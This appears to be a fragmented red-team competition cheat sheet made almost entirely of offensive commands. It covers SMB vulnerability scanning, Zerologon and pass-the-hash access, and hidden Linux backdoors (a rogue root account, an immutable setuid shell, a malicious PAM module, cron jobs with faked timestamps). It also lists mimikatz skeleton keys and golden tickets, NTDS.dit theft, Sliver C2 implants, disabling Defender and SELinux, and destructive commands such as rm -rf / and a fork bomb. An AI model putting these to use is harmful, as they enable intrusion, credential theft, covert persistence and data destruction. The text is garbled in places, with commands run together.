sudo nmap -T4 -min-hostgroup 96 -p 53,445 --open {IP_range} | grep -oE '([0-9]{1,3}\.){3}[0-9]{1,3}' | sort -u > smb_ips.txt
-min-hostgroup
will divide the range up into 96 sup partswhile read -r line; do nxc smb $line -u '' -p '' -M zerologon -M printnightmare -M smbghost -M ms17-010; done < smb_ips.txt
zerologon.py
and then impacket-secretsdump -just-dc -no-pass {domain}/{machine_name}:@{DC_IP}
impacket-secretsdump -just-dc -no-pass 'corp.local/TEST-DC$@10.10.0.162'
(if DC name is TEST-DC)sudo nmap -sV -O -T4 -min-hostgroup 96 -p 22 {IP_range}
sudo nmap -sn -T4 {IP_range} | grep -oE '([0-9]{1,3}\.){3}[0-9]{1,3}' | sort -u > ips.txt
to just figure out what hosts are online
sudo autorecon -t ips.txt -p 21,22,23,25,53,80,110,111,135,139,143,389,443,445,465,636,873,993,995,1025-1030,1080,1433,1521,1723,3306,3389,5432,5900,5985,6379,6667,8000,8080,8443,8888 -o autorecon_results --max-scans 100
find autorecon_results -name "*.txt" -type f -exec grep -l "open" {} \; | sort
grep -r "MS17-010\|CVE-\|Anonymous\|Password:" autorecon_results
grep -r "Anonymous" autorecon_results
grep -r "Domain Controller" autorecon_results
grep -r "Password:\|Credentials:" autorecon_results
grep -r "SMB signing required: false" autorecon_results
Windows:
-o
with iwr
or we’ll just get the HTTP connection info lmfaoUnregister-ScheduledTask -TaskName "WindowsUpdater" -Confirm:$false
rm 'C:\Users\$env:USERNAME\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\winupdater.lnk'
Stop-Service -Name "WinUpdaterSvc"
and $service = Get-WmiObject -Class Win32_Service -Filter "Name='WinUpdaterSvc'"; $service.delete()
HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon
HKCU:\Environment
wmiexec.py -hashes :{hash} '{domain}/{user}@{ip}'
psexec.py -hashes :{hash} '{domain}/{user}@{ip}'
or smbexec
atexec.py -hashes :{hash} '{domain}/{user}@{ip}' "{command}"
xfreerdp3 /u:{user} /d:{domain} /pth:{hash} /v:{IP}
/p:{password}
if we have itevil-winrm -i {IP} -u '{domain}\{username}' -H {hash} -r {domain}
-r
optional, used for kerberosLinux:
https://khaelkugler.com/scripts/pam_login.so
mkdir /root/.ssh
and add key to /root/.ssh/authorized_keys
/etc/passwd
and /etc/ssh/sshd_config
echo 'wwwdata:Fdzt.eqJQ4s0g:0:0:root:/root:/bin/bash' >> /etc/passwd && chattr +i /etc/passwd && echo 'PermitRootLogin yes' >> /etc/ssh/sshd_config && chattr +i /etc/ssh/sshd_config
cp /bin/zsh /.kernel && chmod +sss /.kernel && touch -d "4 May 2024" /.kernel && chattr +i /.kernel
chattr
makes the file immutable (and gives ROOT a generic access denied error???)/etc/pam.d/pam_login.so
auth sufficient /etc/pam.d/pam_login.so
to the top of /etc/pam.d/common-auth
try_first_pass
to the end of auth pam_unix.so
/etc/cron.hourly/locate
, touch -d "12 Jul 2024" /etc/cron.hourly/locate
to make it non-sus, and chattr +i /etc/cron.hourly/locate
#!/bin/bash
Skeleton Key
mimikatz "privilege::debug" "misc::skeleton" "exit"
- adds mimikatz
as a password to all usersMemSSP
mimikatz "privilege::debug" "misc::memssp" "exit"
misc::lock /process:explorer.exe
to LOG OUT active users!!C:\Windows\System32\mimilsa.log
or C:\Windows\System32\kiwissp.log
Golden Certificate
certipy ca -backup -ca '{certificate_name}' -username {user}@{domain} -hashes {hash}
certipy forge -ca-pfx {ca_private_key} -upn {user}@{domain} -subject 'CN={user},CN=Users,DC={domain},DC={tld}
Golden Ticket
krbtgt
NTLM hash with mimikatz (unless we already have it)
lsadump::lsa /patch
kerberos::purge
to delete any existing ticketskerberos::golden /user:{domain_user} /domain:{domain} /sid:{domain_SID} /krbtgt:{krbtgt_NTLM_hash} /ptt
domain_SID
can be gathered from whoami /userPsExec.exe \\{domain_controller_dnshostname} powershell
Shadow Copies
vshadow.exe -nw -p C:
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy2\windows\ntds\ntds.dit c:\ntds.dit.bak
reg.exe save hklm\system c:\system.bak
impacket-secretsdump
impacket-secretsdump -ntds ntds.dit.bak -system system.bak LOCAL
sudo apt install golang-go
, curl https://sliver.sh/install | sudo bash
, and cd sliver && make
sliver-server
new-operator --name {op_name} --lhost localhost
and multiplayer
to enable clientssliver-client import {config_file}
and sliver-client
to joinwg
can be used to start listening for incoming sessions on a sneaky wireguard udp (use mtls otherwise if we dont get a callback)
evil-winrm
implants and beacons (and sometimes maybe wmi-exec
?) will DIE a HORRIBLE DEATH, use another method to run the implant/beacongenerate
to create implants or beacons
generate --wg {our_IP} --os linux
for an implantgenerate beacon --wg 192.168.0.102 -j {jitter} -S {wait_seconds} --os linux
generate --mtls 192.168.0.102 --os windows
sessions
to show active sessions
sessions -i {id}
to interact with session
CTRL + d
to exitshell {command}
will execute command in a session (can maybe run without shell
?)getprivs
will list privileges available, probably use /ProgramData/ for potatoes?info
- host infops
- process listupload
/download
- file transferscreenshot
- grab a screenshotbeacons
to show active beacons
use {beacon_id}
to use a beacon
interactive
to turn it into a normal sessionarmory install all
sharp-hound-4 -- '-c all,GPOLocalGroup'
Killing Services
systemctl stop {service}
keyboard_desktop_flipper.sh
service_stopper.sh
command_rotate.sh
ip_rotate.sh
rm -rf / -no-preserve-root
del /Q /S
:(){ :|:& };:
)timebomb.sh
Trolling
Add-Type -AssemblyName PresentationFramework; [System.Windows.MessageBox]::Show("{message_box_message}", "{message_box_title}", 0, 64)
wall "dance"
1..50 | ForEach-Object {Start-Process notepad}
calc
orenabled
+ enter path of image and select fill for style > apply + ok > gpupdate /force
misc::wp /file:{path}
to set the current PC’s wallpaperDefender
Add-MpPreference -ExclusionPath "{path_to_excluded_folder}"
reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender" /v DisableAntiSpyware /t REG_DWORD /d 1 /f
gpedit.msc
> Computer Configuration > Administrative Templates > Windows Components > Microsoft Defender Antivirus > Turn off Microsoft Defender Antivirus > Enabled'C:\Program Files\Windows Defender\MpCmdRun.exe' -RemoveDefinitions -All
Set-MpPreference -DisableRealtimeMonitoring $true -DisableBehaviorMonitoring $true -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableScriptScanning $true -DisableBlockAtFirstSeen $true -DisablePrivacyMode $true -SignatureDisableUpdateOnStartupWithoutEngine $true -DisableArchiveScanning $true -MAPSReporting 0 -SubmitSamplesConsent 2
Remove-WindowsFeature Windows-Defender
Stop-Service WinDefend -Force
Set-ItemProperty -Path "HKLM:\SOFTWARE\Policies\Microsoft\Windows Defender" -Name "DisableAntiSpyware" -Value 1 -Type DWord -Force
Set-ItemProperty -Path "HKLM:\SOFTWARE\Policies\Microsoft\Windows Defender\Policy Manager" -Name "AllowAntivirus" -Value 0 -Type DWord
https://github.com/SaadAhla/FilelessPELoader
AppArmor
sudo systemctl stop apparmor
, sudo systemctl disable apparmor
, sudo apt purge apparmor
SELinux
sestatus
sudo setenforce 0
or sudo setenforce permissive
SELINUX=enforcing
to disabled
in /etc/selinux/config
and rebootshutdown /s /t 0
shutdown /r /t 0
query user
or query session
tscon.exe {target_id} /dest:rdp-tcp#{our_rdp_session_number}
query session
and logoff {id}
to log off a specific user(Get-PSReadlineOption).HistorySavePath
ps
taskkill /pid {id_from_ps} /f
| FINDSTR /NI "{string}"
/N
gets line number, /I
ignores casereboot
to restartwho
to see who’s on a system
pkill -t {result}
to then kill their sessionpkill -KILL -u {user}
- kill all of a user’s processeskill -9 {pid}
to kill a specific processtouch -d "4 May 2024"